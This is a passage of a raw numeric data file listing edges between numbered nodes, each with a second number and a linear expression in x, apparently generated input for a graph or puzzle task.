12737\n54->10\t46\t46219*x + 1146\n80->44\t45\t56659*x + 3370\n63->94\t125\t29983*x + 6108\n53->24\t65\t97943*x + 11119\n78->76\t124\t43063*x + 925\n95->2\t72\t39217*x + 2082\n65->21\t9\t47609*x + 6802\n3->9\t115\t55631*x + 6780\n94->60\t85\t51439*x + 4522\n59->41\t73\t19373*x + 4057\n71->2\t72\t49103*x + 3559\n6->17\t104\t73583*x + 7318\n34->18\t80\t68687*x + 2331\n49->33\t122\t45439*x + 7068\n99->90\t86\t25463*x + 2451\n93->12\t101\t39139*x + 2046\n76->88\t71\t81157*x + 1566\n22->7\t126\t57917*x + 1384\n60->96\t67\t23227*x + 4187\n72->17\t104\t10151*x + 2774\n9->97\t108\t27749*x + 4368\n54->76\t124\t44887*x + 4601\n84->89\t107\t8447*x + 792\n36->29\t38\t56503*x + 1877\n78->20\t62\t84137*x + 11482\n29->35\t88\t30577*x + 5451\n80->13\t99\t11117*x + 1101\n47->90\t86\t47161*x + 2171\n45->85\t83\t25037*x + 7502\n26->57\t109\t86197*x + 14571\n33->94\t125\t103471*x + 15777\n87->68\t36\t65777*x + 8137\n81->98\t93\t93901*x + 11350\n94->47\t90\t63337*x + 5906\n87->62\t103\t93047*x + 15760\n22->43\t105\t103613*x + 8665\n69->93\t98\t64187*x + 3497\n90->46\t74\t37579*x + 6577\n58->20\t62\t83137*x + 1018\n65->24\t65\t41213*x + 895\n40->96\t67\t11579*x + 301\n1->83\t12\t8893*x + 5650\n24->71\t37\t34693*x + 2822\n44->49\t68\t61409*x + 4742\n48->35\t88\t24923*x + 5101\n73->83\t12\t18367*x + 7553\n6->79\t100\t55667*x + 5638\n29->39\t113\t96671*x + 9292\n63->35\t88\t32479*x + 2325\n9->64\t70\t81331*x + 6537\n58->23\t11\t102229*x + 11584\n69->60\t85\t94837*x + 12267\n74->45\t13\t93887*x + 13609\n24->76\t124\t57173*x + 1941\n98->16\t66\t6521*x + 135\n95->27\t58\t71143*x + 1648\n91->58\t35\t74821*x + 6868\n99->67\t117\t100049*x + 15043\n81->66\t44\t78259*x + 1821\n3->47\t90\t69491*x + 7051\n89->47\t90\t99371*x + 9871\n79->30\t96\t75307*x + 1658\n75->2\t72\t2371*x + 3378\n12->26\t81\t48619*x + 2894\n67->80\t110\t1447*x + 6660\n6->96\t67\t68281*x + 8022\n42->74\t55\t11551*x + 5849\n73->69\t59\t3191*x + 5746\n69->82\t40\t46601*x + 5338\n18->0\t33\t82261*x + 2270\n19->82\t40\t76159*x + 3303\n22->53\t120\t22343*x + 7551\n55->37\t114\t80761*x + 4771\n67->81\t32\t619*x + 2508\n19->58\t35\t34469*x + 5467\n27->67\t117\t757*x + 4773\n82->27\t58\t13907*x + 4585\n7->28\t50\t53161*x + 2701\n74->86\t53\t78623*x + 1814\n43->62\t103\t797*x + 3753\n60->48\t78\t91813*x + 14411\n35->20\t62\t34591*x + 5315\n79->87\t121\t81083*x + 6588\n26->5\t82\t51899*x + 1399\n83->59\t84\t91199*x + 12810\n74->48\t78\t35363*x + 3368\n22->15\t63\t47119*x + 3017\n54->22\t64\t53549*x + 7433\n99->42\t87\t58073*x + 6010\n47->4\t48\t18077*x + 2578\n38->32\t69\t64037*x + 2631\n15->68\t36\t60167*x + 6459\n14->40\t34\t5927*x + 5907\n12->15\t63\t78571*x + 1360\n28->13\t99\t71549*x + 7861\n60->95\t111\t82129*x + 5508\n63->48\t78\t17443*x + 7985\n8->96\t67\t21599*x + 7749\n1->93\t98\t67139*x + 6457\n45->99\t54\t26339*x + 4956\n32->67\t117\t79757*x + 2745\n99->87\t121\t8543*x + 2396\n96->75\t56\t22709*x + 6945\n9->39\t113\t86467*x + 12072\n70->67\t117\t31991*x + 1192\n38->80\t110\t64373*x + 40\n60->44\t45\t14759*x + 5042\n19->65\t95\t81047*x + 7378\n19->74\t55\t78569*x + 7013\n16->22\t64\t281*x + 1645\n84->77\t106\t37139*x + 6565\n69->52\t42\t127*x + 3925\n40->70\t57\t99721*x + 14371\n52->30\t96\t88117*x + 10055\n46->13\t99\t12553*x + 5923\n27->26\t81\t77003*x + 5310\n89->32\t69\t39191*x + 4157\n65->7\t126\t27893*x + 7114\n17->91\t91\t11717*x + 7702\n57->23\t11\t67289*x + 4399\n89->59\t84\t5419*x + 7744\n73->27\t58\t8699*x + 4770\n94->48\t78\t97841*x + 11139\n79->65\t95\t29669*x + 7594\n80->54\t94\t50263*x + 6752\n1->60\t85\t19213*x + 6132\n44->45\t13\t59209*x + 3771\n90->81\t32\t92951*x + 9867\n86->1\t112\t99317*x + 12116\n78->88\t71\t55073*x + 8188\n10->17\t104\t102539*x + 14923\n20->80\t110\t66179*x + 3526\n78->18\t80\t39659*x + 7581\n71->21\t9\t16823*x + 7894\n94->95\t111\t45821*x + 7390\n43->22\t64\t47869*x + 915\n4->6\t123\t30881*x + 2672\n45->65\t95\t3929*x + 2620\n12->29\t38\t14737*x + 2511\n40->91\t91\t92387*x + 12427\n55->57\t109\t62533*x + 622\n98->94\t125\t41953*x + 4431\n0->9\t115\t38557*x + 2792\n89->1\t112\t104369*x + 11084\n47->68\t36\t89797*x + 8457\n39->60\t85\t82231*x + 1030\n51->66\t44\t2389*x + 1945\n49->90\t86\t32297*x + 63\n89->29\t38\t28759*x + 2571\n24->33\t122\t13723*x + 5819\n31->20\t62\t45971*x + 3138\n10->56\t119\t92119*x + 11898\n45->44\t45\t27241*x + 5557\n44->34\t41\t41597*x + 1031\n41->11\t43\t66947*x + 2987\n15->10\t46\t9887*x + 4106\n48->10\t46\t99349*x + 14190\n9->29\t38\t69403*x + 220\n60->79\t100\t20693*x + 4062\n71->88\t71\t15923*x + 7103\n53->58\t35\t2659*x + 5831\n55->49\t68\t47779*x + 2179\n25->95\t111\t42451*x + 5749\n70->69\t59\t17471*x + 6743\n97->34\t41\t82939*x + 1447\n97->12\t101\t71413*x + 7257\n82->19\t61\t19391*x + 1179\n4->27\t58\t64271*x + 605\n91->38\t75\t52253*x + 6490\n27->98\t93\t46381*x + 715\n95->59\t84\t52121*x + 4939\n16->32\t69\t100003*x + 10622\n45->10\t46\t9103*x + 142\n69->48\t78\t104491*x + 10780\n77->26\t81\t38767*x + 14\n29->7\t126\t3221*x + 4689\n78->98\t93\t74609*x + 7297\n62->81\t32\t83089*x + 947\n91->57\t109\t883*x + 4570\n63->41\t73\t60589*x + 5182\n84->43\t105\t79861*x + 4107\n47->87\t121\t25799*x + 2454\n42->23\t11\t27983*x + 110\n61->72\t92\t42923*x + 8172\n5->17\t104\t811*x + 1873\n50->19\t61\t77723*x + 4709\n29->59\t84\t41927*x + 6767\n62->89\t107\t97829*x + 13666\n5->48\t78\t41179*x + 4194\n40->78\t76\t69821*x + 2849\n11->54\t94\t85027*x + 11575\n22->33\t122\t52189*x + 6166\n56->91\t91\t49033*x + 6923\n37->84\t89\t91141*x + 8328\n52->14\t77\t28723*x + 4169\n88->5\t82\t73613*x + 2697\n47->76\t124\t12823*x + 1669\n82->93\t98\t40237*x + 4474\n63->32\t69\t59341*x + 6958\n89->67\t117\t57593*x + 6022\n72->35\t88\t100907*x + 11170\n57->25\t52\t67121*x + 686\n90->79\t100\t13577*x + 290\n75->58\t35\t18131*x + 531\n68->49\t68\t73133*x + 1861\n35->96\t67\t9433*x + 5347\n58->59\t84\t45119*x + 2012\n10->52\t42\t94379*x + 16360\n77->58\t35\t11549*x + 1122\n30->53\t120\t58031*x + 4614\n18->90\t86\t41389*x + 8187\n47->34\t41\t14557*x + 7090\n36->27\t58\t49171*x + 5237\n52->12\t101\t93377*x + 12689\n45->31\t47\t32119*x + 7003\n87->85\t83\t769*x + 3105\n0->87\t121\t39229*x + 673\n84->14\t77\t2753*x + 6316\n34->3\t118\t65831*x + 3104\n1->65\t95\t80681*x + 774\n31->29\t38\t48751*x + 2465\n21->64\t70\t76471*x + 500\n76->0\t33\t71*x + 5215\n68->8\t49\t80923*x + 3366\n77->18\t80\t22963*x + 5780\n81->34\t41\t40529*x + 2329\n24->5\t82\t62423*x + 6968\n10->97\t108\t84191*x + 10527\n61->9\t115\t54851*x + 1533\n57->18\t80\t39869*x + 1116\n56->75\t56\t85429*x + 10868\n49->38\t75\t69941*x + 933\n30->33\t122\t90127*x + 13390\n23->6\t123\t229*x + 708\n44->90\t86\t15161*x + 6944\n22->12\t101\t96431*x + 14203\n28->44\t45\t80669*x + 834\n23->24\t65\t78439*x + 6047\n30->24\t65\t461*x + 4618\n47->14\t77\t557*x + 6382\n81->73\t102\t62303*x + 5579\n86->61\t10\t51263*x + 966\n6->19\t61\t104677*x + 15795\n46->61\t10\t81293*x + 3268\n79->8\t49\t83773*x + 1697\n24->9\t115\t80147*x + 6606\n93->38\t75\t7333*x + 4787\n25->67\t117\t75989*x + 4960\n94->63\t60\t100511*x + 8213\n83->88\t71\t31151*x + 421\n50->94\t125\t35879*x + 2103\n84->44\t45\t4231*x + 3726\n8->24\t65\t60607*x + 1174\n98->93\t98\t35543*x + 5188\n41->57\t109\t23753*x + 6503\n7->91\t91\t99133*x + 16281\n84->49\t68\t39241*x + 3724\n39->47\t90\t24419*x + 4969\n50->54\t94\t66853*x + 1752\n94->62\t103\t39161*x + 5745\n70->7\t126\t56983*x + 1812\n31->70\t57\t12973*x + 4126\n26->99\t54\t19861*x + 4365\n44->80\t110\t43913*x + 5155\n42->38\t75\t32909*x + 1222\n6->30\t96\t87629*x + 13567\n74->34\t41\t51421*x + 6639\n13->24\t65\t76733*x + 64\n41->95\t111\t70199*x + 4458\n52->82\t40\t48023*x + 7417\n1->43\t105\t72733*x + 6289\n13->46\t74\t30757*x + 4325\n83->87\t121\t99137*x + 14722\n9->50\t116\t53401*x + 4214\n7->88\t71\t65497*x + 2122\n96->62\t103\t93937*x + 12198\n16->36\t79\t22777*x + 6949\n67->31\t47\t25847*x + 6771\n7->94\t125\t102433*x + 8836\n70->72\t92\t24103*x + 5109\n51->80\t110\t101287*x + 10225\n99->96\t67\t19681*x + 7680\n68->23\t11\t11777*x + 3675\n50->60\t85\t53299*x + 5267\n57->59\t84\t38303*x + 3494\n90->72\t92\t32363*x + 5998\n82->44\t45\t2381*x + 2994\n92->61\t10\t10039*x + 4361\n73->50\t116\t80713*x + 6735\n1->16\t66\t11197*x + 7860\n96->54\t94\t67157*x + 6161\n92->55\t39\t49117*x + 6902\n67->52\t42\t10103*x + 1975\n75->52\t42\t48623*x + 4252\n29->87\t121\t1327*x + 3806\n66->52\t42\t11789*x + 4465\n83->79\t100\t94439*x + 8279\n31->72\t92\t52999*x + 1032\n62->63\t60\t62761*x + 8177\n76->81\t32\t96973*x + 11812\n33->17\t104\t81421*x + 2428\n4->9\t115\t63439*x + 7538\n50->93\t98\t88609*x + 9322\n27->55\t39\t62927*x + 3725\n22->58\t35\t2857*x + 4566\n85->63\t60\t58061*x + 7961\n23->39\t113\t77359*x + 6927\n52->76\t124\t49939*x + 1708\n72->31\t47\t97379*x + 9688\n21->62\t103\t103967*x + 11465\n95->34\t41\t41269*x + 2505\n66->14\t77\t9001*x + 4017\n55->1\t112\t40433*x + 7757\n60->93\t98\t100853*x + 8820\n40->62\t103\t36229*x + 152\n56->9\t115\t67547*x + 5843\n95->85\t83\t10289*x + 4632\n70->22\t64\t7649*x + 7275\n18->18\t80\t3623*x + 5397\n4->63\t60\t62617*x + 4729\n10->0\t33\t53171*x + 6412\n85->90\t86\t24097*x + 2896\n14->65\t95\t27817*x + 6159\n85->59\t84\t44983*x + 6964\n11->53\t120\t24077*x + 863\n52->67\t117\t4243*x + 3037\n82->92\t51\t12101*x + 437\n12->47\t90\t40277*x + 3914\n97->94\t125\t48449*x + 8126\n88->0\t33\t67777*x + 5059\n8->54\t94\t59629*x + 8011\n14->22\t64\t94111*x + 12536\n65->74\t55\t21997*x + 4711\n72->24\t65\t13259*x + 2516\n97->18\t80\t36629*x + 4981\n72->28\t50\t12721*x + 5312\n14->41\t73\t101273*x + 11953\n96->26\t81\t46021*x + 2929\n48->24\t65\t66173*x + 3385\n83->61\t10\t22907*x + 706\n66->51\t97\t19*x + 6511\n76->46\t74\t24061*x + 3302\n58->10\t46\t51131*x + 2453\n90->23\t11\t51607*x + 1627\n16->63\t60\t44519*x + 6782\n71->58\t35\t72211*x + 2963\n54->67\t117\t90527*x + 9055\n47->39\t113\t53507*x + 3858\n33->74\t55\t103529*x + 10520\n71->20\t62\t34739*x + 6404\n13->38\t75\t15349*x + 5637\n72->62\t103\t6947*x + 5733\n91->56\t119\t89867*x + 10812\n49->1\t112\t82487*x + 2324\n16->80\t110\t81737*x + 4347\n14->9\t115\t57203*x + 761\n19->45\t13\t102241*x + 15169\n77->96\t67\t89653*x + 15930\n75->90\t86\t88321*x + 16040\n11->56\t119\t35837*x + 5420\n28->50\t116\t88211*x + 8205\n3->13\t99\t53441*x + 7911\n27->15\t63\t2647*x + 6922\n87->94\t125\t13901*x + 65\n88->56\t119\t14867*x + 7124\n22->37\t114\t51407*x + 5382\n77->6\t123\t3*x + 4706\n11->70\t57\t98867*x + 13283\n41->49\t68\t91513*x + 13612\n45->52\t42\t63737*x + 7596\n50->1\t112\t74831*x + 6264\n30->93\t98\t91493*x + 14901\n71->56\t119\t42709*x + 1511\n35->31\t47\t30937*x + 3396\n12->40\t34\t5651*x + 8129\n18->54\t94\t8069*x + 5040\n28->6\t123\t55931*x + 595\n2->5\t82\t80051*x + 6150\n10->69\t59\t22111*x + 5531\n54->1\t112\t47741*x + 2031\n82->63\t60\t11131*x + 7384\n25->42\t87\t34613*x + 4439\n20->85\t83\t102437*x + 12771\n45->88\t71\t103699*x + 12685\n64->72\t92\t1091*x + 5742\n36->95\t111\t79813*x + 6212\n32->94\t125\t55331*x + 1781\n0->25\t52\t48779*x + 2914\n1->25\t52\t77969*x + 4155\n7->10\t46\t64609*x + 1698\n84->4\t48\t98251*x + 8447\n92->12\t101\t5273*x + 3563\n58->55\t39\t98269*x + 15270\n51->61\t10\t36137*x + 2112\n2->81\t32\t78121*x + 297\n53->47\t90\t74051*x + 5096\n62->77\t106\t25373*x + 5079\n36->6\t123\t92927*x + 11762\n96->84\t89\t11831*x + 5385\n33->28\t50\t85237*x + 14867\n39->93\t98\t42433*x + 4158\n54->90\t86\t90907*x + 12569\n61->17\t104\t9721*x + 523\n7->3\t118\t98563*x + 8835\n63->57\t109\t81343*x + 7137\n1->53\t120\t25391*x + 6573\n40->38\t75\t36277*x + 5785\n0->76\t124\t34549*x + 1225\n1->67\t117\t22229*x + 3432\n86->23\t11\t95987*x + 10834\n89->46\t74\t80177*x + 2298\n38->50\t116\t25121*x + 4646\n75->16\t66\t96401*x + 8306\n83->6\t123\t75407*x + 134\n14->23\t11\t293*x + 1298\n93->70\t57\t71633*x + 5768\n62->54\t94\t90031*x + 9350\n70->30\t96\t102587*x + 9205\n53->0\t33\t13859*x + 6454\n59->49\t68\t28027*x + 719\n52->11\t43\t42737*x + 6320\n51->67\t117\t12497*x + 404\n16->90\t86\t4447*x + 4342\n45->38\t75\t84523*x + 13088\n58->97\t108\t101513*x + 16054\n30->41\t73\t63377*x + 4047\n13->39\t113\t56737*x + 1978\n81->77\t106\t30559*x + 6830\n68->82\t40\t61403*x + 4688\n19->77\t106\t28627*x + 277\n74->56\t119\t34757*x + 5110\n4->31\t47\t68261*x + 354\n86->78\t76\t70949*x + 921\n22->89\t107\t85607*x + 14666\n46->64\t70\t50867*x + 6152\n23->72\t92\t96661*x + 15157\n39->41\t73\t60661*x + 3277\n82->77\t106\t23321*x + 5036\n1->14\t77\t9539*x + 1076\n29->79\t100\t25657*x + 2854\n32->55\t39\t94063*x + 8268\n84->23\t11\t38747*x + 6157\n95->47\t90\t2393*x + 1081\n29->54\t94\t91823*x + 8873\n41->41\t73\t68597*x + 366\n95->49\t68\t8737*x + 8026\n71->43\t105\t64499*x + 4565\n60->1\t112\t33107*x + 5574\n53->66\t44\t35983*x + 2071\n91->92\t51\t17851*x + 5358\n69->83\t12\t81509*x + 4779\n69->72\t92\t1889*x + 2490\n59->89\t107\t19963*x + 7559\n71->39\t113\t77563*x + 4301\n4->48\t78\t53791*x + 6854\n3->63\t60\t74381*x + 5852\n10->61\t10\t11941*x + 896\n41->24\t65\t12611*x + 3376\n52->81\t32\t62347*x + 4968\n77->60\t85\t90163*x + 16176\n62->73\t102\t3121*x + 7423\n58->21\t9\t16453*x + 1159\n89->87\t121\t94951*x + 14087\n21->76\t124\t10903*x + 5334\n55->67\t117\t49069*x + 5653\n3->60\t85\t95441*x + 10002\n5->30\t96\t59671*x + 3696\n98->85\t83\t13397*x + 7722\n8->47\t90\t42187*x + 5582\n21->63\t60\t17737*x + 5754\n54->20\t62\t88873*x + 15082\n5->39\t113\t31723*x + 2303\n45->98\t93\t95747*x + 9316\n20->71\t37\t6101*x + 6546\n66->8\t49\t37619*x + 468\n20->32\t69\t44963*x + 2607\n3->0\t33\t22283*x + 1383\n12->58\t35\t11981*x + 7984\n11->42\t87\t74297*x + 3180\n67->95\t111\t64849*x + 299\n76->96\t67\t4919*x + 1681\n15->59\t84\t10061*x + 2168\n27->20\t62\t50647*x + 7095\n57->26\t81\t1609*x + 5287\n86->41\t73\t40813*x + 7780\n84->21\t9\t12203*x + 378\n78->92\t51\t9533*x + 4024\n51->28\t50\t7547*x + 4077\n32->28\t50\t24379*x + 3622\n58->69\t59\t1741*x + 7836\n52->0\t33\t80251*x + 2135\n70->11\t43\t56873*x + 3668\n99->54\t94\t39727*x + 1430\n56->53\t120\t58391*x + 7214\n34->28\t50\t12821*x + 1551\n78->29\t38\t4007*x + 77\n63->40\t34\t13309*x + 7212\n40->63\t60\t30713*x + 4873\n85->15\t63\t41981*x + 5847\n67->0\t33\t49009*x + 2292\n63->82\t40\t64327*x + 4536\n85->50\t116\t21191*x + 478\n40->69\t59\t15787*x + 3832\n27->79\t100\t78553*x + 1240\n47->84\t89\t53693*x + 4856\n60->62\t103\t42697*x + 1886\n54->75\t56\t56093*x + 5992\n13->47\t90\t37907*x + 564\n58->48\t78\t69313*x + 7443\n5->67\t117\t65993*x + 4979\n6->59\t84\t43151*x + 2128\n80->63\t60\t4363*x + 3147\n61->61\t10\t25913*x + 4902\n27->76\t124\t12401*x + 4398\n38->74\t55\t89521*x + 11706\n75->91\t91\t48239*x + 4243\n63->47\t90\t617*x + 7411\n82->6\t123\t87299*x + 12530\n92->65\t95\t94723*x + 11161\n94->26\t81\t30109*x + 1675\n70->14\t77\t74177*x + 6501\n91->33\t122\t103421*x + 15746\n82->60\t85\t16369*x + 25\n67->53\t120\t13183*x + 6136\n75->96\t67\t69197*x + 7352\n61->27\t58\t33427*x + 4745\n50->69\t59\t7603*x + 2058\n94->3\t118\t79367*x + 5658\n8->33\t122\t7459*x + 3080\n36->92\t51\t102859*x + 8649\n53->50\t116\t40283*x + 602\n49->41\t73\t69109*x + 2176\n3->22\t64\t71503*x + 2891\n88->32\t69\t18803*x + 4290\n43->45\t13\t13679*x + 3843\n25->8\t49\t55049*x + 5665\n14->12\t101\t72889*x + 328\n79->99\t54\t28411*x + 6549\n23->57\t109\t61757*x + 5546\n87->86\t53\t4789*x + 4359\n90->61\t10\t50053*x + 455\n97->39\t113\t23869*x + 5980\n22->41\t73\t12589*x + 1600\n60->71\t37\t48221*x + 2804\n62->83\t12\t68881*x + 1893\n47->61\t10\t65003*x + 7424\n11->91\t91\t59219*x + 7824\n37->19\t61\t19031*x + 3218\n45->36\t79\t26107*x + 1098\n10->84\t89\t18773*x + 5645\n73->26\t81\t52387*x + 7792\n41->53\t120\t15583*x + 957\n45->46\t74\t89627*x + 12974\n20->34\t41\t22091*x + 3837\n81->36\t79\t102367*x + 15422\n88->71\t37\t26647*x + 2079\n37->57\t109\t92413*x + 9031\n73->33\t122\t56941*x + 7704\n11->51\t97\t84319*x + 13307\n70->20\t62\t55339*x + 353\n55->87\t121\t73421*x + 6790\n55->0\t33\t57943*x + 979\n16->81\t32\t62383*x + 4746\n17->72\t92\t27031*x + 480\n68->25\t52\t29671*x + 2731\n2->25\t52\t35863*x + 4963\n74->60\t85\t88817*x + 13822\n78->68\t36\t62683*x + 6139\n61->77\t106\t45641*x + 1936\n29->48\t78\t65609*x + 7392\n98->40\t34\t64783*x + 4928\n64->81\t32\t20563*x + 2945\n93->91\t91\t85369*x + 8604\n38->52\t42\t5393*x + 4015\n66->58\t35\t64451*x + 1640\n94->25\t52\t15269*x + 5129\n63->17\t104\t79481*x + 190\n2->35\t88\t25801*x + 613\n30->54\t94\t29819*x + 1187\n61->54\t94\t10091*x + 674\n64->56\t119\t79987*x + 432\n46->22\t64\t62213*x + 6488\n94->44\t45\t87959*x + 9839\n53->46\t74\t20071*x + 2101\n70->99\t54\t39343*x + 1651\n9->69\t59\t82549*x + 7094\n63->65\t95\t70429*x + 7960\n35->3\t118\t50833*x + 3244\n2->80\t110\t16267*x + 5179\n76->83\t12\t34651*x + 5269\n68->99\t54\t14323*x + 3710\n12->65\t95\t4817*x + 7369\n4->83\t12\t15391*x + 3781\n49->67\t117\t100417*x + 14499\n20->38\t75\t91459*x + 14218\n6->29\t38\t78241*x + 2160\n40->53\t120\t85411*x + 16023\n83->27\t58\t5521*x + 6623\n18->7\t126\t18251*x + 7169\n46->50\t116\t73757*x + 3656\n28->78\t76\t24527*x + 3861\n16->24\t65\t23539*x + 7254\n76->15\t63\t68437*x + 7823\n5->75\t56\t74159*x + 2591\n8->86\t53\t39019*x + 1301\n58->29\t38\t59509*x + 5143\n35->41\t73\t90947*x + 15013\n56->73\t102\t77477*x + 232\n94->24\t65\t66467*x + 5978\n65->4\t48\t49223*x + 1412\n33->18\t80\t6089*x + 4612\n28->45\t13\t743*x + 46\n22->21\t9\t81349*x + 3934\n74->31\t47\t18517*x + 7790\n58->62\t103\t4339*x + 303\n7->60\t85\t7753*x + 1327\n80->25\t52\t46499*x + 5945\n49->26\t81\t37409*x + 6169\n56->35\t88\t48757*x + 261\n25->76\t124\t84809*x + 14073\n18->9\t115\t99241*x + 15915\n65->73\t102\t37501*x + 5854\n50->55\t39\t54917*x + 5116\n66->31\t47\t16339*x + 2733\n41->91\t91\t11953*x + 2369\n3->8\t49\t23531*x + 122\n30->37\t114\t66347*x + 7341\n39->57\t109\t59441*x + 5573\n13->49\t68\t76949*x + 67\n9->41\t73\t67883*x + 4387\n34->67\t117\t55057*x + 332\n68->35\t88\t83267*x + 713\n83->36\t79\t96167*x + 13700\n3->38\t75\t6323*x + 1244\n67->54\t94\t42223*x + 6486\n98->49\t68\t19477*x + 8039\n17->22\t64\t19853*x + 185\n38->62\t103\t39983*x + 8002\n45->25\t52\t25301*x + 1371\n49->72\t92\t56681*x + 6333\n81->55\t39\t66301*x + 4339\n76->93\t98\t73291*x + 5252\n64->33\t122\t56569*x + 4258\n89->78\t76\t17509*x + 1542\n68->77\t106\t100913*x + 11067\n95->84\t89\t42179*x + 5569\n25->29\t38\t68777*x + 6855\n69->5\t82\t7331*x + 5176\n23->81\t32\t89909*x + 12952\n15->38\t75\t71209*x + 1715\n91->9\t115\t28349*x + 1891\n58->14\t77\t100613*x + 8706\n75->38\t75\t100847*x + 9023\n64->15\t63\t5779*x + 6960\n81->41\t73\t6007*x + 5370\n9->57\t109\t8537*x + 5492\n56->71\t37\t67477*x + 5734\n39->96\t67\t85691*x + 12275\n22->0\t33\t83761*x + 350\n89->7\t126\t41023*x + 5671\n20->87\t121\t15401*x + 337\n6->45\t13\t29311*x + 4098\n97->26\t81\t49459*x + 1029\n2->88\t71\t23909*x + 1478\n25->7\t126\t30307*x + 1720\n30->80\t110\t50549*x + 804\n40->33\t122\t83921*x + 939\n40->23\t11\t69119*x + 1649\n1->3\t118\t22129*x + 7132\n33->75\t56\t81463*x + 3291\n7->90\t86\t86353*x + 14271\n41->22\t64\t66919*x + 2233\n85->97\t108\t3917*x + 3754\n5->1\t112\t96377*x + 12561\n95->58\t35\t103687*x + 12957\n27->43\t105\t84673*x + 10744\n80->56\t119\t3491*x + 3983\n90->76\t124\t74717*x + 5910\n91->36\t79\t69779*x + 7766\n48->98\t93\t12619*x + 3400\n70->65\t95\t86951*x + 11371\n67->66\t44\t104479*x + 10805\n27->37\t114\t70589*x + 76\n9->4\t48\t26099*x + 6508\n65->12\t101\t63127*x + 7309\n99->23\t11\t86209*x + 14092\n49->76\t124\t52321*x + 6679\n20->48\t78\t47911*x + 7172\n96->40\t34\t81283*x + 8141\n10->16\t66\t103349*x + 9495\n3->84\t89\t62969*x + 4990\n46->83\t12\t95143*x + 14076\n6->90\t86\t65581*x + 6995\n26->90\t86\t48397*x + 1847\n16->91\t91\t99823*x + 11136\n9->30\t96\t51941*x + 5232\n8->1\t112\t89009*x + 15949\n46->40\t34\t20021*x + 2391\n72->18\t80\t5861*x + 3186\n3->23\t11\t36013*x + 1956\n49->96\t67\t54503*x + 6014\n20->58\t35\t104309*x + 13085\n85->26\t81\t83983*x + 6561\n55->68\t36\t3037*x + 1150\n39->61\t10\t104717*x + 14650\n41->32\t69\t55799*x + 4667\n38->65\t95\t83833*x + 6196\n79->38\t75\t67033*x + 6162\n93->85\t83\t80221*x + 8069\n87->75\t56\t3329*x + 3571\n35->66\t44\t55967*x + 4766\n68->17\t104\t36671*x + 7769\n83->63\t60\t66359*x + 2366\n39->55\t39\t15193*x + 4234\n35->24\t65\t21089*x + 3177\n46->73\t102\t103099*x + 11334\n86->20\t62\t89491*x + 15782\n83->84\t89\t2917*x + 5120\n89->84\t89\t6163*x + 7045\n35->71\t37\t98459*x + 10061\n53->5\t82\t63703*x + 8185\n67->35\t88\t55109*x + 2759\n85->33\t122\t99017*x + 8851\n34->46\t74\t102953*x + 8789\n65->50\t116\t12457*x + 3541\n23->74\t55\t67709*x + 2312\n94->23\t11\t73819*x + 1512\n15->22\t64\t92467*x + 15836\n31->94\t125\t54347*x + 2689\n48->93\t98\t35339*x + 2634\n64->10\t46\t22109*x + 1662\n23->0\t33\t58937*x + 1958\n56->7\t126\t18757*x + 2623\n47->10\t46\t35281*x + 2564\n23->8\t49\t92381*x + 14394\n20->18\t80\t3463*x + 3073\n16->82\t40\t82457*x + 8174\n53->32\t69\t96487*x + 9632\n36->68\t36\t93199*x + 14144\n92->88\t71\t75577*x + 4972\n74->11\t43\t41299*x + 3731\n41->56\t119\t63589*x + 2212\n87->41\t73\t46229*x + 2466\n16->19\t61\t19211*x + 92\n0->24\t65\t38501*x + 7173\n64->58\t35\t89431*x + 11895\n65->93\t98\t46993*x + 2336\n97->30\t96\t9949*x + 6801\n90->55\t39\t47129*x + 156\n87->91\t91\t31547*x + 2269\n35->72\t92\t34949*x + 2643\n10->81\t32\t4481*x + 208\n82->15\t63\t28669*x + 5647\n84->90\t86\t27107*x + 5787\n40->84\t89\t32029*x + 1270\n21->92\t51\t8819*x + 3745\n7->69\t59\t25171*x + 5790\n38->25\t52\t25229*x + 2416\n54->86\t53\t13687*x + 5722\n76->37\t114\t100411*x + 9785\n2->16\t66\t18223*x + 5078\n88->91\t91\t5591*x + 5699\n48->51\t97\t66713*x + 693\n48->90\t86\t100343*x + 14248\n17->9\t115\t33377*x + 5862\n50->5\t82\t13457*x + 4680\n6->37\t114\t23017*x + 4350\n93->94\t125\t313*x + 8146\n53->48\t78\t50821*x + 3751\n25->98\t93\t102499*x + 11027\n63->3\t118\t10597*x + 5399\n78->35\t88\t71551*x + 6558\n0->44\t45\t57697*x + 2035\n71->68\t36\t49993*x + 5095\n48->23\t11\t77659*x + 4201\n65->33\t122\t69481*x + 6982\n7->8\t49\t32443*x + 3604\n46->95\t111\t11909*x + 5501\n11->34\t41\t66889*x + 3081\n81->81\t32\t34483*x + 7791\n19->81\t32\t83417*x + 7027\n50->53\t120\t31771*x + 7830\n33->21\t9\t3911*x + 7763\n3->95\t111\t6379*x + 6539\n60->9\t115\t277*x + 3495\n78->91\t91\t60527*x + 4644\n30->20\t62\t36269*x + 4591\n77->0\t33\t102043*x + 9541\n51->60\t85\t45533*x + 855\n78->41\t73\t7559*x + 6046\n21->20\t62\t33889*x + 375\n1->58\t35\t77249*x + 942\n53->76\t124\t5113*x + 4384\n31->71\t37\t11827*x + 4020\n68->21\t9\t6113*x + 6373\n65->86\t53\t11527*x + 3193\n69->13\t99\t75797*x + 7133\n65->8\t49\t25759*x + 597\n69->6\t123\t85469*x + 13482\n25->2\t72\t84659*x + 14663\n44->42\t87\t81929*x + 1026\n83->82\t40\t26959*x + 7148\n94->32\t69\t57427*x + 1883\n18->66\t44\t90073*x + 14088\n86->44\t45\t88651*x + 8225\n7->51\t97\t75253*x + 5466\n73->47\t90\t82757*x + 768\n29->85\t83\t102077*x + 12470\n29->45\t13\t51613*x + 7667\n59->58\t35\t95633*x + 10567\n48->33\t122\t28081*x + 7980\n21->84\t89\t76369*x + 5450\n11->58\t35\t89317*x + 16030\n41->90\t86\t88793*x + 10326\n28->54\t94\t97073*x + 11495\n41->34\t41\t62459*x + 4858\n3->90\t86\t9067*x + 3991\n98->92\t51\t100313*x + 13507\n56->96\t67\t64403*x + 7541\n44->64\t70\t18047*x + 3223\n81->83\t12\t82037*x + 6885\n59->31\t47\t21247*x + 7740\n58->60\t85\t44501*x + 3078\n80->33\t122\t39089*x + 263\n79->91\t91\t84449*x + 10706\n21->1\t112\t13729*x + 1952\n68->95\t111\t49627*x + 6282\n47->36\t79\t56533*x + 4740\n44->13\t99\t98897*x + 15251\n78->65\t95\t55541*x + 4537\n79->42\t87\t34019*x + 2098\n70->85\t83\t55249*x + 4304\n2->67\t117\t72739*x + 8041\n97->48\t78\t82813*x + 2671\n85->2\t72\t84697*x + 11378\n95->23\t11\t95467*x + 14833\n34->89\t107\t19403*x + 5869\n95->53\t120\t26449*x + 978\n9->45\t13\t53359*x + 